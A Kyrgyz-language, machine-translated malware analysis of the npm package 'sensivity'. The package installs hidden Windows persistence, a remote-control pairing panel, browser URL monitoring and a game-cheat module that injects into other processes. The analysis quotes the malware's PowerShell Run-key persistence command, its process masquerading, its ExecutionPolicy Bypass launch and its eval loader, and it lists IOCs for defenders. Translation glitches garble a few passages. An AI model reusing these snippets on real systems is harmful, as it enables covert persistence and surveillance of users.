PairLoop: npm пакетиндеги жашыруун алыстан башкаруу панели

PairLoop: бир npm пакети, жетимиш версиясы жана жашыруун Windows алыстан башкаруу панели

TL; DR

npm пакети сезгичтик өзүн "Сезимталдыкты башкаруу панели" деп мүнөздөйт. Windows'то ал алыстан башкаруу жана байкоо куралы катары иштейт.

Анын кирүү чекити, launcher.js, өзүнүн процессин Runtime Broker деп атайт, автоматтык түрдө башталат деген Run-key маанисин жазат OneDriveUpdate жашыруун VBScript аркылуу пакетти кайра ишке киргизет, PowerShellди төмөнкү менен иштетет -ExecutionPolicy Bypass, андан кийин 6.87 МБ түпнуска модулу менен бирге 171 КБ обфускаланган сервер жүктөмүн баалайт, sens.node.

Ал TCP 3000 портунда телефон жупташтырууну башкаруу панелин тейлейт жана Windows UIAutomation аркылуу активдүү браузердин дарек тилкесинин URL дарегин окуп, бир катуу коддолгон YouTube видеосун көрөт.

Мурда сол жагында кара кутучалар деп окулган эки бөлүк эми чечилди. Чаташкан сервер, server.obf.js, obfuscator.io RC4 сап массиви схемасын колдонот; анын декодерин оффлайн режиминде кайра ишке ашыруу (JavaScript аткарылбайт) бир тышкы акыркы чекитти калыбына келтирет — https://izopi.com/check.php — кол коюлган лицензиялык жоопторду текшерүү үчүн колдонулган RSA ачык ачкычы менен бирге.

Жергиликтүү модуль, sens.node, топтомдолгон эмес: анын импорттоо таблицасы жана камтылган саптары аны алыстан иштетүү жана эс тутумду окуу/жазуу менен башкарылуучу aimbot, ESP (дубалды бузуу) жана триггербот функцияларын камсыз кылган DirectX 11 / Dear ImGui оюн ичиндеги катмар катары аныктайт.

Анын ичиндеги саптар GTA V / FiveM оюнуна шайкеш келген унаа объекттерине жана картанын жайгашкан жерлерине шилтеме берет. npm пакети - бул ошол түпнуска модулдун айланасындагы жеткирүү жана туруктуулук оромосу.

Аныктоочу сигнал техникалык эмес, оперативдик: бир гана анонимдүү басмакана бир пакеттин болжол менен жетимиш версиясын чыгарган — 2.5.0 - 2.5.69 — бир нече күндүн ичинде, ар бири бир эле ракетаны көтөрүп жүрдү.

Орнотуулар жок hooksПайдалуу жүктөм пакет башталганда гана иштейт.

Кол салуу: ал кантип иштейт

sensivity он файлды жөнөтөт. package.json файлы аз: репозиторий талаасы жок, лицензия жок, негизги жана эки бин лакап аты (sensivity, sens) баары launcher.js файлына багытталган жана node launcher.js файлынын баштоо скрипти бар. Postinstall же preinstall жок. npm install файлында эч нерсе ишке кирбейт. Төмөндө сүрөттөлгөн жүрүм-турум колдонуучу пакетти иштеткенде — бин shim, start скрипти же require аркылуу иштейт.

Тарболдо ишке киргизгич, бүдөмүк сервер, жергиликтүү модуль, Visual Basic скрипти жана башкаруу панели үчүн public/web каталогу бар. launcher.js окулуучу оркестратор болуп саналат; иштөө учурунда маанилүү болгон логика ал жүктөгөн эки блокто жашайт — бүдөмүк сервер жана компиляцияланган жергиликтүү модуль, экөө тең төмөндө каралат.

 Маскарадды иштетүү жана жасалма OneDrive жаңырткычы

Ишке ашыруунун башында launcher.js өзүнүн процессинин атын эки жолу орнотот:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker - бул колдонмо уруксаттарын ортомчулук кылган мыйзамдуу Windows процесси (RuntimeBroker.exe). Node процессинин аталышын ага дал келтирүү үчүн өзгөртүү Task Manager программасына көз чаптырганда эч кандай адаттан тыш нерсе көрүнбөйт дегенди билдирет.

Туруктуулук түз реестр API аркылуу эмес, PowerShell аркылуу жазылат:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Автоматтык түрдө баштоо мааниси OneDriveUpdate деп аталат жана ал пакетке түз көрсөтпөйт. Ал OneDrive.Standalone.Updater.vbs топтомун иштетип жаткан wscript.exe файлын көрсөтөт. Ал скрипт node launcher.js файлын жашыруун терезеде кайра ишке киргизет. Run-key аталышы да, VBScript файлынын аталышы да Microsoft брендин алган, ошондуктан авто баштоо жазуусу кадимки OneDrive тапшырмасы катары окулат.

Аткаруу саясатын айланып өтүү менен PowerShell

Ишке киргизгич PowerShell'ге кайра-кайра жөнөтүлөт. Сканерлер маанилүү деп белгилеген кемчилик - бул аткаруу саясаты өчүрүлгөн .ps1 файлын ишке киргизүү:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass ал чакыруу үчүн жергиликтүү скриптке кол коюу текшерүүсүн алып салат. Түзүлгөн скрипттер кийинки бөлүмдө сүрөттөлгөн браузерди көзөмөлдөө жана терезелерди аныктоо иштерин аткарат.

Бүлүнгөн сервер жана жергиликтүү модуль

Орнотуудан кийин, launcher.js өзүнүн чыныгы пайдалуу жүктөмүн жүктөйт жана аткарат:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js файлында 171 КБ _0x-массив обфускасы бар — бул JavaScript үлгүсү, мында ар бир сап жана идентификатор индекс менен алмаштырылып, аралаштырылган массивге киргизилет, андан кийин иштөө учурунда шилтемеден чыгарылат. Бул схема obfuscator.io тарабынан түзүлгөн RC4 варианты: base64 бир декодер функциясы массив жазуусун чечмелейт, андан кийин RC4 аны ар бир чакыруу ачкычы менен чечмелейт. Ал декодерди өзүнчө скриптте кайра ишке ашыруу — алынган 821-жазуу сап массивинин үстүндө кайра ишке ашырууну гана иштетүү, эч качан пакеттин өзүнүн JavaScriptин эмес — аны таза ачат. Кайсы беттер жөнөкөй, бирок...cisive: бир тышкы URL, https://izopi.com/check.php`, LICENSE_URL туруктуусуна дайындалган; камтылган RSA PUBLIC_KEY_PEM`; жергиликтүү панел /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off жана /trigger/status багыттарын көрсөтөт; жана child_process, crypto жана [Sensivity] sens.node саптары жүктөлгөн — акыркысы ишке киргизгич жүктөлгөн программалык модулга кайра жазган так журнал сабы. Акыркы чекит - лицензияны текшерүү: кардар идентификаторду жарыялайт (булганган сервер Discord ID: %s сабын форматтайт) жана RSA ачкычы сервердин кол коюлган жообун текшерет.

sens.node - бул 6.87 МБ компиляцияланган жергиликтүү кошумча файл жана ал пакеттелген эмес — бөлүмдүн энтропиясы 5.6–6.6 деңгээлинде жана PE импорттоо жана экспорттоо таблицалары сакталган, ошондуктан анын мүмкүнчүлүктөрүн түз окуса болот. Ал napi_register_module_v1ди экспорттойт, standard N-API кирүү чекити түйүнү болгондуктан, бааланган сервер аны жөнөкөй талап менен жүктөйт. Анын импорттоо таблицасы - бул tell. KERNEL32ден ал OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules жана Process32First/NextW файлдарын тартат — бул башка процессти табуу, анын ичинде эстутумду бөлүштүрүү жана ал эстутумду окуу же жазуу үчүн канондук топтом. USER32ден ал GetAsyncKeyState, GetKeyState, mouse_event жана SetCursorPos файлдарын тартат; ал экрандагы катмар үчүн d3d11.dll, D3DCOMPILER_43 жана dwmapi файлдарын жана тармактык чалуулар үчүн толук WINHTTP топтомун байланыштырат. Анын камтылган саптары функциялар топтомун эч кандай тактыксыз атайт: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected жана Dear ImGui баннери Dear ImGui 1.91.3 WIP. Grapeseed Medical Clinic сыяктуу жайгашкан жер жана объект саптары жана vehicle-ESP сөздүгү GTA V / FiveM менен дал келет.

Бөлүү, чындыгында, атайылап жасалган: окула турган launcher.js файлында сканер оңой окуй турган бөлүктөр гана бар — туруктуулук, маскарад, eval чакыруусу өзүн — ал эми обфускация бир тышкы хостту иштөө убактысынын контакттарын жашырат, ал эми бинардык файл оюндун үстүнкү катмарын жана процессти киргизүү логикасын кармайт. Ишке киргизгич – бул жука, аудиттелүүчү кабык; обфускацияланган сервер тармактын идентификациясын жашырат; жергиликтүү модуль – бул пайдалуу жүктөм. Биз бинардык файлдын импорттоолорунун жана саптарынын окулгандыгын сүрөттөйбүз; биз алардан оператордун максатын чыгарбайбыз.

 3000-порттогу телефонду жупташтырууну башкаруу панели

Ишке киргизгич TCP 3000 портундагы жергиликтүү веб-серверди башкарат жана аны синглтон катары карайт. Ал бар болгон угуучуну сурайт жана байланыштыруудан мурун аны тазалайт:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Панелге http://localhost:3000 дареги аркылуу жетүүгө болот, ал эми катуу коддолгон LAN резервдик URL дареги http://192.168.1.16:3000. public/ каталогу жана панелдин жүрүм-туруму QR-жупташтыруу агымына шайкеш келет: телефон кодду сканерлейт жана хостко алыстан башкаруу пульту катары байланышат. Ишке киргизгичте ачык текстте тышкы буйрук жана башкаруу домени көрүнбөйт — бирок, жогорудагы деобфускация көрсөтүлгөндөй, обфускацияланган серверде бирөө бар: izopi.com лицензиясынын акыркы чекити. Панелдин өзү жергиликтүү жана LAN масштабында; чыгуучу жалгыз хост - бул лицензияны текшерүү.

Бөлүнгөн супервайзер/жумушчу модели процессти иштеп турат. Ишке киргизгич SENSIVITY_SUPERVISOR жана SENSIVITY_WORKER чөйрөсүнүн желекчелери менен өзүн кайра ишке киргизет, ар бир бала жашыруун иштейт, ошондуктан бир процессти өчүрүү аны кайра баштоо үчүн байкоочуга калтырат.

Браузерди көзөмөлдөө жана YouTube сигналы

Эң өзгөчө жүрүм-турум - браузерди көзөмөлдөө. launcher.js Windows UIAutomation программасын иштеп жаткан браузердин дарек тилкесин окууга мажбурлаган PowerShellди түзөт:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern колдонуучу интерфейсинин элементинин тексттик мазмунун кайтарат. Браузердин дарек тилкесин түзөтүү башкаруу элементине колдонулганда, ал жабырлануучу учурда көрүп жаткан URL дарегин — браузердин кеңейтүүсүз, дисктеги профилге тийбестен жана API илгичисиз кайтарат. Түзүлгөн скрипт $browserNames тизмесин кайталайт жана алдыңкы планда турган браузердин URL дарегин же терезе аталышын чыгарып алат.

Ал URL бир катуу коддолгон максаттуу дарекке каршы текшерилет:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Ишке киргизгич үч секунддук циклде YouTube'ду көрсөткөн браузер терезеси үчүн сурамжылоо жүргүзөт жана түзүлгөн PowerShell ошол видеонун идентификаторуна дал келген Get-YouTubeBrowser / Test-TargetYouTubeUrl жубун камтыйт. Байкалып турган эффект эки түрдүү: активдүү серептөө URL дареги жабырлануучунун экранынан окулат жана хосттун бир YouTube видеосу менен өз ара аракеттенүүсү аныкталат. Биз механизмди жана максатты сүрөттөйбүз; алардан эч кандай мотив чыгарбайбыз.

Дарек тилкесиндеги окуу сканердин sensitive_data_enumeration деп атаган нерсеси — бул Process::env жана тармакка жөндөмдүү иштөө убактысын берүүчү UIAutomation булагы. Ал өзүнчө зыянсыз көрүнөт жана маалыматтардын жашоо цикли UIAutomation булагынан бүдөмүк серверге чейин көзөмөлдөнгөндөн кийин гана байкоо жүргүзүүгө өтөт.

Убакыт тилкеси жана версиянын эволюциясы

Сезгичтик бир эле жолу жүктөлүп берилбейт. Жарыялоочунун аккаунтунда бул бир пакеттин болжол менен жетимиш жарыяланган версиясы бар жана кайра карап чыгуу терезеси учурунда жаңылары келип турду. Ишке киргизгич 2.5.x линиясында функциядан функцияга чейин өсөт, ал эми анын туруктуулугу жана пайдалуу жүктөмү туруктуу бойдон калат.

Дата (UTC) Байкалган версиялар Ишке киргизгичтин абалы
2026-06-02 2.5.8 - 2.5.46 (25) Негизги QR панелин ишке киргизгич; Ишке киргизүү баскычынын туруктуулугу; бүдөмүк серверди баалоо.
2026-06-03 2.5.53 - 2.5.61 (6) Ошол эле манжа изи; консоль аркылуу издөөнү басуу.
2026-06-04 2.5.67, 2.5.68 (2) YouTube'га кадалган катышуу максатын кошот wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Бардык диапазондогу боштукту толтуруучу кайра жарыялоо; жетекчи/жумушчуну көзөмөлдөөчү.

Жүктөлүп алынган өкүлдөр боюнча ишке киргизгичти окуу — 2.5.0, 2.5.36 жана 2.5.69 — төрт деңгээлди көрсөтөт. Эң алгачкы курулмаларда QR-жупташтыруучу ишке киргизгичтин базалык версиясы бар. 2.5.33төн баштап UIAutomation дарек тилкесиндеги чогулткуч пайда болот. 2.5.58ден баштап супервайзер-башкаруу катмары кошулат. 2.5.64төн баштап бөлүнгөн супервайзер/жумушчу байкоочу топтомду толуктайт. Жалпысынан төрт нерсе эч качан өзгөрбөйт: OneDriveUpdate Run баскычы, OneDrive.Standalone.Updater.vbs дроппери, eval'd server.obf.js жана sens.node түпнуска модулу.

2026-06-05 толкуну бир нече күн мурун тастыкталган версиялардан төмөн жайгашкан төмөнкү версиялардын номерлерин — 2.5.0дон 2.5.15ке чейин — кайра жарыялагандыгы менен айырмаланат. Натыйжада, реестрде ар бир версияда бир эле ишке киргизгич бар, 2.5.x сабы пайда болот.

Компромисс көрсөткүчтөрү

Төмөндөгү бардык индикаторлор tarball пакетинен түз окулган. Окулуучу ишке киргизгич циклдик кайтаруу жана бир гана жеке LAN дарегин камтыйт; бир гана тышкы хост аты, izopi.com, server.obf.js оффлайн режиминде deobfuscating аркылуу калыбына келтирилген.

түрү көрсөткүч жазуулар
таңгак npm:sensivity (≈70 версия, 2.5.0-2.5.69) Бир пакеттүү басмакана; репозиторий жок; лицензиясы жок.
File launcher.js Окулуучу оркестратор; негизги жана бин бута.
File server.obf.js (≈171 КБ) obfuscator.io RC4 сап массивинин пайдалуу жүктөмү, жүктөлгөн eval(fs.readFileSync(...)).
File sens.node (≈6.87 МБ) PE32+ x86-64 N-API түйүнү үчүн кошумча; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
File OneDrive.Standalone.Updater.vbs Жашыруун кайра ишке киргизгич (node launcher.js).
тармак https://izopi.com/check.php Лицензия/авторизациянын акыркы чекити бүдөмүк серверден калыбына келтирилди; камтылган RSA ачык ачкычы жоопторду текшерет.
жөндөмдүүлүк OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Алыстан процессти киргизүү жана эс тутумду окуу/жазуу мүмкүнчүлүгү.
жөндөмдүүлүк Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui оюн катмары aimbot, ESP жана triggerbot функцияларын ишке ашырат.
каттоо HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Автоматтык түрдө баштоо мааниси көрсөтүлгөн wscript.exe жана VBScript ишке киргизгичи.
Process process.title = 'Runtime Broker' Windows Runtime Broker процессинин легитимдүү түрү катары маскараддар.
Жүрүш-туруш powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Түзүлгөн PowerShell скрипттери үчүн колдонулган аткаруу саясатын айланып өтүү.
Жүрүш-туруш UIAutomation ValuePattern браузердин дарек тилкесин окуу Алдыңкы пландагы браузер терезесинин URL дарегин окуйт.
Жүрүш-туруш Максаттуу видеонун идентификатору wJWta2lO0Lw; 3 секунддук YouTube сурамжылоосу Кадалган аракеттешүүнү көзөмөлдөө сигналы.
тармак http://localhost:3000, резервдик көчүрмө http://192.168.1.16:3000 QR-жупташтыруу башкаруу панели жергиликтүү жана LANда көрсөтүлдү.
айлана-чөйрө SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Көзөмөлдөө процессин координациялоо желекчелери өзүнчө.

Атрибуция, таасир жана коргоочулар

Пакет текшерилбеген Gmail дареги болгон бир гана npm аккаунту тарабынан жарыяланган. Аккаунттун реестрдеги бедели өтө терс, бир гана ушул пакетти сактайт жана жарыялайт жана шилтемеленген булак репозиторийи жок. Биз электрондук почтанын ээлигин тастыктаган жокпуз жана өнөктүктү эч кандай аталган адамга эмес, басмакананын аккаунтуна байланыштырабыз. Ишке киргизгичте ачык тексттик инфраструктура жок, бирок бир тышкы хост эми белгилүү: бүдөмүк сервер лицензияны текшерүү үчүн izopi.com менен байланышат, ал эми баштапкы модуль - тескерисинче көрсөтмө боюнча эмес, анын импорттук таблицасынан жана саптарынан окулат - бул башка процесстин эс тутумуна киргизип, окуган оюндун катмары.

Байкалып жаткан таасир башкаруу панелинин утилитасын күтүп, орнотуп, иштеткен Windows колдонуучуларына тиет. Ал хосттордо пакет OneDrive тапшырмасы катары жашырылган автоматтык түрдө ишке киргизүү туруктуулугун орнотот, системалык процессти туурап, өзүн өзгөртөт, колдонуучу карап жаткан нерсенин URL дарегин окуйт жана машинаны жергиликтүү тармак аркылуу алыстан башкаруу пультуна байланыштырган жупташтыруу панелин түзөт. Супервайзер/жумушчу байкоочусу бир процессти жок кылуу аны алып салбай турганын билдирет; Run-key жазуусу кайра жүктөөдөн кийин сакталып калат. macOS жана Linux ишке киргизгич тарабынан бутага алынбайт — туруктуулук, PowerShell жана UIAutomation жолдору Windows үчүн гана.

Жетимиш версиянын кыскарышы - бул белгиленүүгө татыктуу тенденция. Бир пакетти бир нече күндүн ичинде ондогон жолу кайра жарыялоо, анын ичинде алынып салынган версиялардын номерлеринен төмөн толтуруу, алып салуулардын ортосунда реестрде тирүү көчүрмөнү сактап калат жана версия менен бекитилген блок тизмелерин бузуп салат. sensivity@2.5.61 үчүн блок тизмеси жазуусу sensivity@2.5.3 үчүн эртеси күнү кайра жарыяланганга каршы эч нерсе кылбайт.

Укук коргоочулар төмөнкүлөр боюнча иш-аракет кыла алышат:

  • Реестр-прокси жана CI уруксат тизмелеринде пакеттин аталышынын сезгичтигин толугу менен бөгөттөңүз. Жеке версияларды кадоо кайра жарыялоо кадансына зыян келтирет; аталыш туруктуу индикатор болуп саналат.
  • Маалыматтары колдонуучуга тиешелүү жолдо .vbs файлына каршы wscript.exe файлын чакырган OneDriveUpdate деп аталган Run маанисин издеңиз. Чыныгы OneDrive жаңырткычы мындай жол менен катталган эмес.
  • process.title файлы Runtime Broker болгон Node.js процесси жөнүндө эскертүү. Чыныгы брокер - Node runtime эмес, RuntimeBroker.exe.
  • Компиляцияланган .node кошумчасын жана бир тууган .obf.js файлынын eval(fs.readFileSync(…)) жөнөтүүчү пакеттердин npm орнотуу убактысын алууларын белгилеңиз. Бул жупташуу — бүдөмүк текст жүктөмүнүн жанында жүктөлгөн тунук эмес бинардык файл — бул жердеги структуралык маани, IOCтун кандайдыр бир саптарынан көз карандысыз.
  • Күтүлбөгөн Node процесси тарабынан пайда болгон 3000-порттогу жергиликтүү байланышкан угуучуну башкарылган Windows акыркы чекиттеринде шектүү катары караңыз.
  • Иштеп чыгуучудан же акыркы колдонуучу хостторунан izopi.com сайтына чыгуучу сурамдарды бөгөттөө же эскертүү; бул пакеттин жалгыз тышкы акыркы чекити, ага /check.php дареги боюнча бүдөмүк серверден кирүүгө болот.
  • Кайсы бир топтомдогу .node кошумчасы үчүн, ага ишенүүдөн мурун, анын импорттоо таблицасын карап чыгыңыз. OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread айкалышы пакет эмне кылаарын айтканына карабастан, алыстан иштетүү инъекциясы болуп саналат; бул жерде ал Direct3D катмарынын жана aimbot/ESP/triggerbot саптарынын жанында жайгашкан.

Статикалык-анализ үчүн pipelines, версиянын өзгөрүшүнө карата ишеним формасы туруктуу: тармактан тышкаркы орнотуу профили, белгилүү системалык процесстин аталышына процесстин аталышын дайындоо, PowerShell аркылуу Run-key жазуусу жана дисктен окулган файлды баалоо. Булардын бири да кийинки кайра жарыялоодо өзгөртүлө турган доменге, IP дарекке же версиянын номерине көз каранды эмес.

 шилтемелер

[npm: сезгичтик] – бул жерде талкууланган пакеттин версиясынын сабы үчүн реестр барагы; алып салууга тийиш.

sca-tools-программалык-композициялык-талдоо-куралдары
Программалык камсыздооңуздун тобокелдиктерин артыкчылыктуу деп эсептеңиз, оңдоңуз жана коопсуздугун камсыз кылыңыз
Акысыз аккаунтуңузду алыңыз.
Насыя картасы талап кылынбайт.

Программалык камсыздоону иштеп чыгууну жана жеткирүүнү камсыз кылыңыз

Xygeni Product Suite менен